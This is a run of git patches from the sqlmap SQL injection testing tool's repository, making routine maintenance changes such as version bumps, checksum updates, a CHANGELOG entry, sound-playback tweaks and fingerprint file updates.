+b9d1e3ee657236b13ad5ecaf2adfa089e24a0e67738253eedb533a68f277a6e3 tamper/plus2fnconcat.py +fb4b7539284db076147a530df1dd072d5d35e32a71fd7bc8e312319d5f3aaa52 tamper/randomcase.py +b27066b7ea4f69243d5a353327090a0630bbf7f512edf5e277cde2c10139b3dd tamper/randomcomments.py +35a8539ac8030d3fc176ea8231fe8983285fc576f7e0b50ccdf911a565f1f758 tamper/schemasplit.py +a34524af6fe2f2bba642b3234fbf1aa8785761e7d82906005b5476b7cc724857 tamper/scientific.py +65d22c54abfa61b73140020d48a86ec8eeb4c9e4e5e088d1462e4bce4a64f18b tamper/sleep2getlock.py +c10f1a4c0fa268d252736cdf4b3bb258ee5d12263feb102149e481b2a26efb12 tamper/space2comment.py +928cee298ca2b6d055fc6b7e7fc7bcf3313581bf0dd9f5b319c16d5914a991ee tamper/space2dash.py +63e1b03a8768668a52a2a166eb07c27613253b5e3143cc0ce6afe4f844822a3f tamper/space2hash.py +6485e6c76e82be84801c1ff8a1a0bdc3654c434c1f6a95c45fb53efe94fc6c02 tamper/space2morecomment.py +757f554f9541aee3ae09b40dcb26d258584877b4d01bad4ee485afc67b1ae12a tamper/space2morehash.py +9584b0341fb6528fdbe3fe14e34b0c4dcd3d589bd5c2f8a68715ba5b20dbf286 tamper/space2mssqlblank.py +4da39437e518e02c85b4de57447cb845356167909a256a476e63ec3faebbf26d tamper/space2mssqlhash.py +e49d8501e09806ab2b8019c6e0864003cb538f43d1de5a09415d915c827db7b7 tamper/space2mysqlblank.py +015284f173c8ba54f347a3ce5d6205092ba8aed811a45077aa69ce6ce52b1ad9 tamper/space2mysqldash.py +92797c4dd9a2e41c9738f9fa51575958dbd178053a1166a890ace6e719f50fe7 tamper/space2plus.py +e025cdcc48a1915352b0e112f2f5511beccb3f278860b35c4d07038c509fd0a5 tamper/space2randomblank.py +85ba64cf231a4fa36e1550f6575fe10fd8aa6cf084f92a5e8cea60378e96cabf tamper/sp_password.py +30c211a5c33209dd36f44f3d7a9bb1c8002ba1b1d18e74f0ba606c9838b1be09 tamper/substring2leftright.py +0a8c5dfbcc2dd28544edbd0a40286407fb724edbaa5dcad6c646c465bccf103d tamper/symboliclogical.py +a941abd9d03a66ad796252bbc7c70bdafa5a0203ce66865bec48dc77a3cb8724 tamper/unionalltounion.py +beddd06210ecc68cc096d42c33fc502d7bb9c040c84952340a8eb1a42b592968 tamper/unmagicquotes.py +b2c220604ebf4f71e563f6b6b564fdb85b045af8fce681411a931e49556b569e tamper/uppercase.py +47a5fe04e53d7c126d6b56139a1e6053c41c7e3a0d9e2b9dbc4b93573099a10a tamper/varnish.py +2c9ad34f8a8a78ed2f10bf39985197fdfd7df12ebc364a5b32276170bc5f6f05 tamper/versionedkeywords.py +6780c120d8099283cb26120f8d42e1ced63d89401a31e8163cc7954634706043 tamper/versionedmorekeywords.py +672e949a0d63a01a6b13a6211fa9b9a9bc365f9f2688acd2ece4c20dfc031025 tamper/xforwardedfor.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py dfb8a36f58a3ae72c34d6a350830857c88ff8938fe256af585d5c9c63040c5b2 thirdparty/beautifulsoup/beautifulsoup.py From 0f9a1c801c9e9a99c696314135a2a6039983f436 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 2 Jan 2025 01:12:43 +0100 Subject: [PATCH 130/853] Dummy update --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c6a5956ac7e..0362a4a3fb4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -6528a19e5de32fb02c3045c31bc928179c5d812211dde48cf237c3fbc2567a56 lib/core/settings.py +39d46d352bde04221a0fb083b55b8e8bddd76e613b5c3684da89d5db456be38c lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8d7c58ae656..e65f3acc340 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9" +VERSION = "1.9.1.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -61,7 +61,7 @@ UPPER_RATIO_BOUND = 0.98 # For filling in case of dumb push updates -DUMMY_JUNK = "Gu8ohxi9" +DUMMY_JUNK = "aiBieg5u" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" From 996cc77e30237e048526990b4bc731621b171be9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Feb 2025 16:28:47 +0100 Subject: [PATCH 131/853] Dummy commit --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0362a4a3fb4..ada6d01dbbc 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -39d46d352bde04221a0fb083b55b8e8bddd76e613b5c3684da89d5db456be38c lib/core/settings.py +6f87796de3de274f114c398603b5e5f71e4404d7a0b3d30b0cb4dd5a01c3272f lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e65f3acc340..8df2eb37997 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.1.2" +VERSION = "1.9.2.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -61,7 +61,7 @@ UPPER_RATIO_BOUND = 0.98 # For filling in case of dumb push updates -DUMMY_JUNK = "aiBieg5u" +DUMMY_JUNK = "ouZ0ii8A" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" From ef10844eab628cfbf8049bd50010712e7e2fbf5f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2025 22:06:10 +0100 Subject: [PATCH 132/853] Bump python-version for GitHub tests --- .github/workflows/tests.yml | 2 +- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 802ff8a40fd..0ecd5cd3fbc 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.12' ] + python-version: [ 'pypy-2.7', '3.13' ] exclude: - os: macos-latest python-version: 'pypy-2.7' diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ada6d01dbbc..a8c5aa07b60 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -6f87796de3de274f114c398603b5e5f71e4404d7a0b3d30b0cb4dd5a01c3272f lib/core/settings.py +889b90f107a5d2127bf6de50e1ecdca4cca449281d8bc3caafd48d5121ee6c7e lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8df2eb37997..213d3d7bae5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.0" +VERSION = "1.9.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d9a5236d8ed3616002124ecf2a47bf9ee1086ba0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2025 22:20:56 +0100 Subject: [PATCH 133/853] Update of CHANGELOG --- data/txt/sha256sums.txt | 4 ++-- doc/CHANGELOG.md | 12 +++++++++++- lib/core/settings.py | 2 +- 3 files changed, 14 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a8c5aa07b60..b8dc8799bc7 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml 95b7464b1a7b75e2b462d73c6cca455c13b301f50182a8b2cd6701cdcb80b43e data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS -68550be6eeb800bb54b1b47877412ecc88cf627fb8c88aaee029687152eb3fc1 doc/CHANGELOG.md +2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md 792bcf9bf7ac0696353adaf111ee643f79f1948d9b5761de9c25eb0a81a998c9 doc/translations/README-bg-BG.md @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -889b90f107a5d2127bf6de50e1ecdca4cca449281d8bc3caafd48d5121ee6c7e lib/core/settings.py +d7dfa97fd24dd206144167df69f508fe042f8a0d13f70eb95c0949f891f9d262 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a6c344a34e7..5eab5958460 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,14 @@ -# Version 1.7 (2022-01-02) +# Version 1.9 (2025-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1) + +# Version 1.8 (2024-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1) + +# Version 1.7 (2023-01-02) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) diff --git a/lib/core/settings.py b/lib/core/settings.py index 213d3d7bae5..2f2390915a0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.1" +VERSION = "1.9.2.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4faaabf795c60099bfe40d9df3c656f75593a5e7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2025 22:42:18 +0100 Subject: [PATCH 134/853] Minor improvement for _mac_wav_play --- data/txt/sha256sums.txt | 4 ++-- extra/beep/beep.py | 7 +++---- lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index b8dc8799bc7..339e4f90236 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -112,7 +112,7 @@ c94d5c9ae4e4b996eaf0d06a6c5323a12f22653bb53c5eaf5400ee0bccf4a1eb doc/translatio 0bccce9d2e48e7acc1ef126539a50d3d83c439f94cc6387c1331a9960604a2cd doc/translations/README-uk-UA.md 285c997e8ae7381d765143b5de6721cad598d564fd5f01a921108f285d9603a2 doc/translations/README-vi-VN.md b553a179c731127a115d68dfb2342602ad8558a42aa123050ba51a08509483f6 doc/translations/README-zh-CN.md -783ddbaa638d2d2987be7aa2e9e9e40aef8c0b7a132db60949e43bc733d01978 extra/beep/beep.py +3194d9178c91a0fcfeeeff331e214f4e42df658031854d328c81da57480d091b extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/beep/__init__.py 3b54434b0d00c8fd12328ef8e567821bd73a796944cb150539aa362803ab46e5 extra/cloak/cloak.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -d7dfa97fd24dd206144167df69f508fe042f8a0d13f70eb95c0949f891f9d262 lib/core/settings.py +4aa551df40b183ef5ce876a70af38acc03f455ffbbd3b7be0c79c4c1909841e3 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 158c263080b..0592e96445e 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -18,7 +18,7 @@ def beep(): if sys.platform.startswith("win"): _win_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("darwin"): - _mac_beep() + _mac_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("cygwin"): _cygwin_beep(BEEP_WAV_FILENAME) elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): @@ -40,9 +40,8 @@ def _speaker_beep(): def _cygwin_beep(filename): os.system("play-sound-file '%s' 2>/dev/null" % filename) -def _mac_beep(): - import Carbon.Snd - Carbon.Snd.SysBeep(1) +def _mac_wav_play(filename): + os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME) def _win_wav_play(filename): import winsound diff --git a/lib/core/settings.py b/lib/core/settings.py index 2f2390915a0..ad054640bab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.2" +VERSION = "1.9.2.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 900c9497d9d9b467815d5777880f3234953d1bf5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2025 22:47:30 +0100 Subject: [PATCH 135/853] Minor improvement for _linux_wav_play --- data/txt/sha256sums.txt | 4 ++-- extra/beep/beep.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 339e4f90236..249eb98ff01 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -112,7 +112,7 @@ c94d5c9ae4e4b996eaf0d06a6c5323a12f22653bb53c5eaf5400ee0bccf4a1eb doc/translatio 0bccce9d2e48e7acc1ef126539a50d3d83c439f94cc6387c1331a9960604a2cd doc/translations/README-uk-UA.md 285c997e8ae7381d765143b5de6721cad598d564fd5f01a921108f285d9603a2 doc/translations/README-vi-VN.md b553a179c731127a115d68dfb2342602ad8558a42aa123050ba51a08509483f6 doc/translations/README-zh-CN.md -3194d9178c91a0fcfeeeff331e214f4e42df658031854d328c81da57480d091b extra/beep/beep.py +a438fbd0e9d8fb3d836d095b3bb94522d57db968bb76a9b5cb3ffe1834305a27 extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/beep/__init__.py 3b54434b0d00c8fd12328ef8e567821bd73a796944cb150539aa362803ab46e5 extra/cloak/cloak.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -4aa551df40b183ef5ce876a70af38acc03f455ffbbd3b7be0c79c4c1909841e3 lib/core/settings.py +b2c346c7ff01377b1aac5b45feb6b05303738b230a40d0e4da0db667d695c755 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 0592e96445e..4e1cbedf306 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -49,7 +49,7 @@ def _win_wav_play(filename): winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): - for _ in ("aplay", "paplay", "play"): + for _ in ("paplay", "aplay", "mpv", "mplayer", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return diff --git a/lib/core/settings.py b/lib/core/settings.py index ad054640bab..c1b793f67f2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.3" +VERSION = "1.9.2.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f144f10ebef462c2122fb2bffde913ea739466fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2025 22:59:05 +0100 Subject: [PATCH 136/853] Minor improvement to Set-Cookie detection --- data/txt/sha256sums.txt | 4 ++-- data/xml/banner/set-cookie.xml | 28 ++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 3 files changed, 31 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 249eb98ff01..ccfcbe15f45 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -71,7 +71,7 @@ c6be099a5dee34f3a7570715428add2e7419f4e73a7ce9913d3fb76eea78d88e data/udf/postg 9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml 86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml 146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml -7973d2024e7803951445a569b591e151edcc322c00213f478dcd9aff23afd226 data/xml/banner/set-cookie.xml +e87c062bdf05b27db6c1d7e0d41c25f269cbe66b1f9b8e2d9b3db0d567016c76 data/xml/banner/set-cookie.xml a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 75672f8faa8053af0df566a48700f2178075f67c593d916313fcff3474da6f82 data/xml/banner/x-powered-by.xml @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -b2c346c7ff01377b1aac5b45feb6b05303738b230a40d0e4da0db667d695c755 lib/core/settings.py +8d1b38f544ad6b6ad63ece7ea91ef980361705ab8a27abcf980e63972bcff8da lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/data/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml index a9d8143d8b2..419a436445a 100644 --- a/data/xml/banner/set-cookie.xml +++ b/data/xml/banner/set-cookie.xml @@ -62,4 +62,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index c1b793f67f2..96a682d01fa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.4" +VERSION = "1.9.2.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 4dd98cc8f38838bc27e475cea93124c4e5d25c67 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 10 Feb 2025 23:17:16 +0100 Subject: [PATCH 137/853] Minor update of fingerprinting methods --- data/txt/sha256sums.txt | 6 +++--- lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 5 ++++- plugins/dbms/postgresql/fingerprint.py | 4 +++- 4 files changed, 11 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ccfcbe15f45..f1244fb90bf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -8d1b38f544ad6b6ad63ece7ea91ef980361705ab8a27abcf980e63972bcff8da lib/core/settings.py +b341a933732b17cab993efcc7ef211e125f534f8ce127e0ed156c11fe1ea22b3 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -399,7 +399,7 @@ f01e26e641fbfb3c3e7620c9cd87739a9a607fc66c56337ca02cc85479fb5f63 plugins/dbms/m 36e706114f64097e185372aa97420f5267f7e1ccfc03968beda899cd6e32f226 plugins/dbms/mysql/connector.py 96126e474f7c4e5581cabccff3e924c4789c8e2dbc74463ab7503ace08a88a3a plugins/dbms/mysql/enumeration.py 4c6af0e2202a080aa94be399a3d60cab97551ac42aa2bcc95581782f3cabc0c3 plugins/dbms/mysql/filesystem.py -b2c69cfa82d1ea7a5278780d20de6d0c4f1dc0158a809355ed2ffb9afbc74b36 plugins/dbms/mysql/fingerprint.py +997be63891dab617a4abc5312f187c777964c912137a344d80c25a1bafe96e9e plugins/dbms/mysql/fingerprint.py 34dfa460e65be6f775b1d81906c97515a435f3dbadda57f5a928f7b87cefd97d plugins/dbms/mysql/__init__.py eb59dd2ce04fa676375166549b532e0a5b6cb4c1666b7b2b780446d615aefb07 plugins/dbms/mysql/syntax.py 05e1586c3a32ee8596adb48bec4588888883727b05a367a48adb6b86abea1188 plugins/dbms/mysql/takeover.py @@ -413,7 +413,7 @@ d5c9bba081766f14d14e2898d1a041f97961bebac3cf3e891f8942b31c28b47e plugins/dbms/o c9a8ac9fa836cf6914272b24f434509b49294f2cb177d886622e38baa22f2f15 plugins/dbms/postgresql/connector.py b086d8ff29282c688772f6672c1132c667a1051a000fc4fcd4ab1068203b0acb plugins/dbms/postgresql/enumeration.py bb23135008e1616e0eb35719b5f49d4093cc688ad610766fca7b1d627c811dd8 plugins/dbms/postgresql/filesystem.py -ba0eae8047e65dcd23d005e0336653967be9ec4a6df35f4997b006b05a57ea8b plugins/dbms/postgresql/fingerprint.py +7c563983fc644f8af4a5906149d033a79b0a5bc319c3b7809032270a32122038 plugins/dbms/postgresql/fingerprint.py 9912b2031d0dfa35e2f6e71ea24cec35f0129e696334b7335cd36eac39abe23a plugins/dbms/postgresql/__init__.py 1a5d2c3b9bd8b7c14e0b1e810e964f698335f779f1a8407b71366dc5e0ee963c plugins/dbms/postgresql/syntax.py b9886913baaac83f6b47b060a4785fe75f61db8c8266b4de8ccfaf180938900a plugins/dbms/postgresql/takeover.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 96a682d01fa..f2273611e6a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.5" +VERSION = "1.9.2.6" 